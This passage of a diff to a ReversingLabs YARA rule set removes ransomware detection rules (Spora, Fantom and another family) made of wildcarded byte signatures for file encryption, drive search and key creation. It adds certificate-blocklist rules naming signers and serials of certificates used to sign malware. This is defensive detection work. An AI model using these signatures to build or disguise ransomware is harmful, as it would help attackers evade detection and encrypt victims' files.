?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ?? - 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 45 ?? ?? 8B 4E ?? 8B 56 ?? 3B CA 73 - ?? 8D 41 ?? 89 46 ?? 8B C6 83 FA ?? 72 ?? 8B 06 C7 04 48 ?? ?? ?? ?? EB ?? 6A ?? C6 - 85 ?? ?? ?? ?? ?? 8B CE FF B5 ?? ?? ?? ?? 6A ?? E8 - } - $find_drives = { - 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? 8B CE C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01 - 41 84 C0 75 ?? 2B CA 51 56 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B - CC 89 65 ?? 33 C0 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66 - 89 01 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 55 ?? 8B CC E8 ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B - C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 - ?? ?? ?? ?? 83 C4 ?? 8B C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 46 03 F0 38 0E 0F 85 - ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 - 5D C3 E8 ?? ?? ?? ?? E8 - } - $encrypt_files_p1 = { - 8B 00 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F0 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? - 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? - ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FA ?? - 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? - 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B - CB C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 E6 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89 - 85 ?? ?? ?? ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA - ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 - 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 - 85 ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 53 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? - 0F 8C ?? ?? ?? ?? 7F ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 - FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8B F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? - B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? F3 A5 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 - } - $encrypt_files_p2 = { - 8B 86 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 - 86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 86 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? - 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 - FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B F4 8B CA 33 C0 - C7 46 ?? ?? ?? ?? ?? 8D 79 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 66 8B 01 83 C1 ?? 66 85 - C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 53 8B 1D ?? ?? ?? ?? FF D3 6A ?? 8D 45 ?? - 50 FF 75 ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B - F8 89 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? F3 A5 8B 45 ?? 8D 8D ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 - FF D3 6A ?? 8D 45 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and $find_drives and $find_files and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YUPITER-STROI, OOO" and ( pe.signatures [ i ] . serial == "00:ee:ef:ec:43:08:ab:e6:33:23:60:0e:16:08:f5:e6:f2" or pe.signatures [ i ] . serial == "ee:ef:ec:43:08:ab:e6:33:23:60:0e:16:08:f5:e6:f2" ) and 1491177600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Spora : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0Ecd460Ce14Bd8Ef2926Da2Cd9A44176 : INFO FILE { meta: - description = "Yara rule that detects Spora ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f07ee1d4-d99b-5cbf-a1f0-a3802d9e3b47" - date = "2020-06-26" - modified = "2020-07-15" + id = "94128695-0206-5c04-b792-34400f8ce890" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Spora.yara#L1-L124" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12648-L12664" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4e18bb42277ce9194bf75fa45d95ea7e2bd51c5d7791d3d6e013fc07626e65b0" + logic_hash = "58fa244c125415ef7a3cf0feb79add4db7c84f94c23e5d27e840fb17c18d67ef" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Spora" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 57 FF 75 ?? 33 FF 89 7D ?? FF 15 ?? ?? ?? ?? 83 F8 - ?? 0F 84 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 53 56 57 BE - ?? ?? ?? ?? 56 6A ?? 57 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB - ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F - 82 ?? ?? ?? ?? 6A ?? 57 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? - ?? 57 8D 45 ?? 50 56 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 39 75 - ?? 0F 85 ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 3B - 45 ?? 0F 84 ?? ?? ?? ?? 39 7D ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? B9 ?? ?? - ?? ?? 3B C1 72 ?? 89 4D ?? EB ?? 83 E0 ?? 89 45 ?? 57 FF 75 ?? 57 6A ?? 57 53 FF 15 - ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? FF 75 ?? 57 57 6A ?? 50 FF 15 ?? ?? ?? - ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57 FF - 75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57 - FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 57 57 - 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? - 57 57 53 89 45 ?? FF 15 ?? ?? ?? ?? 57 8D 45 ?? 50 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 - 53 FF D6 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF D6 C7 45 ?? ?? ?? ?? ?? FF 75 ?? FF - 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? - ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 5E 5B 8B 45 ?? 5F 83 C5 ?? C9 C2 - } - $create_key_file = { - 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? 33 F6 89 75 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 45 - ?? 50 56 6A ?? 56 FF 35 ?? ?? ?? ?? FF D7 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0 - ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 56 56 56 FF 75 ?? FF D7 85 C0 0F 84 ?? ?? ?? ?? - 53 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B F8 3B FE 0F 84 ?? ?? ?? ?? 56 6A - ?? 57 56 FF 15 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50 - FF 15 ?? ?? ?? ?? 83 C4 ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? - 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 68 - ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7D ?? - ?? ?? ?? ?? 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? 57 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B D8 3B DE 74 ?? 89 75 ?? 8B 45 - ?? 56 FF 74 85 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF - 15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 53 57 FF 15 ?? ?? ?? ?? FF - 45 ?? 83 7D ?? ?? 72 ?? 53 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 5B FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B 45 ?? 5E 83 C5 ?? C9 C2 - } - $create_key = { - 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 57 8D 45 ?? 50 8D 45 ?? 50 - 33 DB 53 6A ?? 53 FF 75 ?? BE ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 53 6A ?? 53 FF 35 ?? ?? ?? ?? - FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0 ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? - 53 53 53 FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 8B 35 ?? ?? ?? ?? - 03 C8 51 6A ?? FF D6 8B F8 89 7D ?? 3B FB 0F 84 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 57 FF - 15 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 8B 45 ?? 03 C7 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83 - C4 ?? 8D 45 ?? 50 8B 45 ?? 53 6A ?? 03 C8 51 57 8B 3D ?? ?? ?? ?? FF D7 85 C0 74 ?? - FF 75 ?? 6A ?? FF D6 8B F0 3B F3 74 ?? 8B 4D ?? 8D 45 ?? 50 8B 45 ?? 56 6A ?? 03 C8 - 51 FF 75 ?? FF D7 33 FF 38 1E 74 ?? 8B C6 80 38 ?? 75 ?? 40 40 8A 08 88 0C 37 47 40 - 38 18 75 ?? 88 1C 37 EB ?? 8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 75 ?? FF 75 - ?? FF 15 ?? ?? ?? ?? 5F 5B EB ?? 8B 75 ?? 8B C6 5E 83 C5 ?? C9 C2 - } - $create_lst_file = { - 55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 53 56 68 ?? ?? ?? ?? 33 F6 6A ?? 89 75 ?? FF 15 ?? - ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 45 ?? 8B 38 8D 45 - ?? 50 53 83 C7 ?? FF 15 ?? ?? ?? ?? 03 C0 50 53 FF 75 ?? FF 17 8B 45 ?? 8B 08 8D 55 - ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 53 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 8B 08 - 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? - 8B 3D ?? ?? ?? ?? 56 56 56 56 6A ?? 50 56 68 ?? ?? ?? ?? FF D7 89 45 ?? 3B C6 0F 84 - ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 56 - 56 FF 75 ?? 50 6A ?? FF 75 ?? 56 68 ?? ?? ?? ?? FF D7 8D 45 ?? 50 6A ?? 68 ?? ?? ?? - ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 E0 ?? 83 - C0 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D ?? - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 56 56 - 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 6A ?? 53 56 FF 15 ?? ?? ?? - ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4 - ?? 57 53 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? - 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57 - 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 7D ?? 75 ?? FF 75 ?? C7 45 ?? - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 3B FE 74 ?? 56 6A ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50 FF 15 ?? ?? ?? ?? 83 - C4 ?? 56 57 53 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? - ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? - 5F 8B 45 ?? 8B 08 50 FF 51 ?? 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 5E 5B 83 C5 ?? C9 C2 - } - $enumerate_resources = { - 55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 57 BE ?? ?? ?? ?? 56 6A ?? FF D3 8B F8 89 7D ?? - 85 FF [2-8] 83 4D ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? 89 75 ?? E8 - ?? ?? ?? ?? 85 C0 75 ?? 39 45 ?? 74 ?? 8D 77 ?? F6 46 ?? ?? 74 ?? 8D 46 ?? 50 [0-3] - E8 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 36 FF 15 ?? ?? ?? ?? 8D 44 00 ?? 50 6A - ?? FF D3 8B F8 85 FF 74 ?? FF 36 57 FF 15 ?? ?? ?? ?? [0-5] 57 E8 ?? ?? ?? - ?? 57 FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 75 ?? 8B 7D ?? 57 FF 15 ?? ?? ?? ?? FF 75 - ?? E8 ?? ?? ?? ?? 5F 5E 5B C9 C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $create_key_file and $create_lst_file and $enumerate_resources and $encrypt_files ) or ( $create_key and $enumerate_resources and $encrypt_files ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rabah Azrarak" and pe.signatures [ i ] . serial == "0e:cd:46:0c:e1:4b:d8:ef:29:26:da:2c:d9:a4:41:76" and 1463035153 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Fantom : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5E75E997F3D70Bb8C182D56B25B7D836 : INFO FILE { meta: - description = "Yara rule that detects Fantom ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cd32de8b-2c14-5fb4-be79-365d9848f341" - date = "2021-08-12" - modified = "2021-08-12" + id = "3578b97f-1d87-517a-8ea9-17606017e46a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara#L1-L97" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12666-L12682" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f2aaa9776b7ca302052b3303d45df24cc151a4efc7ea9f4bb3c1f53d10ded03a" + logic_hash = "a2c6a57759fb0717951f83a32c00deeae82cad772b6cb7f60fa96232b6b82560" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Fantom" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_1 = { - 00 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? - 26 DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 28 - ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? [1-2] 02 72 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 [1-2] 20 - ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 6F - ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 02 7B - ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? - ?? ?? 13 ?? 11 ?? 16 - } - $encrypt_files_2 = { - 72 ?? ?? ?? ?? A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ?? - 19 72 ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 - ?? 1C 72 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 72 ?? ?? ?? ?? A2 - 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? - ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? - 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? - ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? - 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 - 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? - ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? - 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? - ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? - 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 - 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? - ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? - 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? 